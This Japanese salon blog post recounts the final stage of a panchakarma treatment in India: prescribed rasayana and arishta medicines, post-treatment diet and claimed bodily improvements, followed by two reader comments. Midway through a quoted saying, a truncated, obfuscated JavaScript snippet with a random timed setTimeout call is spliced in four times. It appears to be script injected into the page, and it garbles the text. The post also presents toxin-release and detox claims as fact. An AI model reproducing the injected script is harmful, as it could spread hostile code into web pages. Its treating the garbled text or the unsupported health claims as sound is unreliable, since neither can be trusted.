パンチャカルマ最終回 ラサヤナ

東京・阿佐ヶ谷のアーユルヴェーダ専門サロンmanas《マナス》です
本場・南インドのクリニックでアーユルヴェーダの治療を
7日間に渡って受けた体験について書いてきましたが、
この治療、これで終わりではないのです。
今までの話の中で書いたように、
アーユルヴェーダのデトックス「パンチャカルマ」では、
前処置、中心処置と段階をふんで行うのですが、
さらに後処置と言うのがあります。
その中の1つが、薬の処方です。
ハーブなどから作られた強壮長寿の薬を
個人個人に合わせて、ドクターが処方してくれます。
私たちは、7日間のお試しコース的なものだったので、
薬は希望があれば・・・と言われたのですが、
もちろん希望!と申し出たところ、
最終日にドクターが出してくれました。
ラサヤナ
白い固体がラサヤナで、
黒っぽい液体がアリシュタと言う薬です。
各4本ずつで、約3か月分。
人それぞれ違うと思いますが、
私のラサヤナは甘くて油っぽい感じで
お湯かミルクに溶かして飲みます。
一方、アリシュタは養命酒のような
ハーブのお酒っぽい感じ。
ちゃんと3カ月かけて、どっちも飲み切りましたよ。
実は、アーユルヴェーダの考え方のひとつに、
「汚れた布は洗濯してからでないと、きれいに染まらない」andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
と言うのがあります。

つまり、パンチャカルマの後の毒素が出た体には、
薬の薬草成分も吸収されやすく、しっかり入るということです。
また、パンチャカルマは、体に負担がかかるため、
トリートメントを受けた期間と同じぐらいの時間をかけて、
体を整えていくのがベストと言われています。
私たちは7日間受けたので、
最低でも7日間はトリートメント中と同じような生活・・・
アルコール・肉類をとらない、体を冷やさない、
日光に当たりすぎない、などを心がけて、
徐々に、もとの生活に戻すようにってことですね。
そんなわけで、帰ってきてから2週間は、
きっちり約束事を守って、体質改善に取り組んでました。
肉を食べないのは慣れてきてたのですが、
自分で作るとなると、ベジタブル料理のメニューを
クックパッドで研究する毎日…
お酒は、もともとそれほど好きではないので問題なし。
ユニットバスで気がすすまなかった半身浴を、
インドで先生に勧められ、挑戦してみたりと
せっかく受けたパンチャカルマを無駄にしないように、
いろいろ自分なりに努力してみました。
その成果でしょうか、いろいろ体も変化してきました。
まず、行く前の悩みだった
固すぎてマッサージも出来なかった肉たちが
かなりやわやわになってきたんです!
ふくらはぎや太ももの脂肪も、手でつかめるようになって、
セルライトであることがはっきりしたり(笑)、
背中やあばらの辺りの、なんだかわからない厚み…
おそらくむくみや老廃物と思われるもの…が薄くなったり、
首の後ろが、ずっと張っていたのが
ゆるんで、肉がつかめるぐらいやわらかくなりました。
と、同時に、上を向いたとき、
首がすごく後ろに倒れるようになりました!
って、これ、伝わりづらいですか?
いや、今まで、首が張ってたせいか…といっても当時は、
それが普通の状態と思ってたんですが…最悪のときは、
上を向こうとしても、首が後ろに倒れなかったんですよ。
背中から首に、鉄板が入ってるみたいに…
だから、がんばっても、真上90度までしか見えなかったのが、
今は多分、120度ぐらい後ろも見えちゃう!!
オイルマッサージも続けてるので、
皮膚も丈夫になってきた感じ。
乾燥がなくなって滑らかになってる気がします。
ただし、まだまだ改善途中です。
悪いものが排出されてるのか、吹き出物がしょっちゅう出ます。
実は、吹き出物はピッタが上がってるときの症状なので
ピッタを下げる生活を心がけつつ、
ケアの方法も変えてみたりして
いろいろ試してみるしかないかなと思ってます。
もう、前とは体も生活も変わっているので…
でも、自分の体って、分かってるようで分かってないんだなと
インドに行って痛感しました。
もっともっとちゃんと見てあげないと
表面的なことだけでなくて、ちゃんと!って思います。
みなさんも、忙しいとついつい
おろそかになってしまうと思いますが
自分と向き合って、体や心の声を聞く時間をぜひ作ってください。
私みたいに、ひどくなってからだと、
回復させるにも時間がかかりますよ!(笑)
アーユルヴェーダサロンmanas 《マナス》

パンチャカルマ最終回 ラサヤナ” に対して 2 件のコメントがあります

  1. はる より:

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    こんにちは、はじめまして。
    今度、ケララに行くのですが
    現地でのパンチャカルマにとっても興味を持ちました!
    すごーくよさそう。。
    ケララのどちらで受けられるのでしょうか?
    クリニックの名前と住所など、
    お答えいただけますと幸いです!
    よろしくお願いいたします★

  2. マチコ より:

    SECRET: 0
    PASS: 74be16979710d4c4e7c6647856088456
    はるさま
    パンチャカルマに興味持っていただけて嬉しいです~☆
    すごく良かったですよ!
    ただ、このときのパンチャカルマは、アーユルヴェーダの研修のオプションとして受けたので、パンチャカルマだけを受けられるかは分からないです。。。
    私が行ったときは、他の患者さんには会わなかったので、研修者以外の患者さんを受け入れてるかどうか聞いたことがなかったので・・・
    私から聞いてみるよりも、こちらのサイトを見ていただいて、はるさまから日本本校に問い合わせてみて頂く方が早いかと思います。
    http://spa2006.net/school1.html
    お手数ですが、よろしくお願いします!
    せっかくのケララ旅行ですから、良いドクターの元で受けられるといいですね!

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